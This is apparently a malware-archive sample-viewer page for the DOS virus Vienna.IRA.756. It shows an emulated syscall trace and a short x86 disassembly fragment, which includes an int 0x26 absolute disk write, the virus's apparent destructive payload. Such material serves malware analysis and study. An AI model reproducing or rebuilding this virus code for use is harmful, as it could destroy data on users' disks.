Sample viewer

vx.netlux.org/Virus.DOS.Vienna.IRA.756

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:27:35.780524773Z 48 PC: 12a6c | Get DOS version
2018-12-17T22:27:35.782303227Z 47 PC: 12a7a | Get disk transfer address
2018-12-17T22:27:35.78378824Z 26 PC: 12a8e | Set disk transfer address
2018-12-17T22:27:35.784860057Z 42 PC: 12aaf | Get date 0x12aaf: ret
0x12ab0: mov dx, 0
0x12ab3: mov ds, word ptr [di + 0x37]
0x12ab6: mov al, 2
0x12ab8: mov bx, word ptr [di + 0x63]
0x12abb: mov cx, 1
0x12abe: int 0x26
0x12ac0: jmp 0x12ac3
0x12ac2: nop
0x12ac3: pop si
0x12ac4: push si
0x12ac5: add si, 0x31
0x12ac8: nop
0x12ac9: lodsb al, byte ptr [si]
0x12aca: push cx
0x12acb: mov cx, 1
0x12ace: mov cx, 2
0x12ad1: mov cx, 3
0x12ad4: mov cx, 4
0x12ad7: pop cx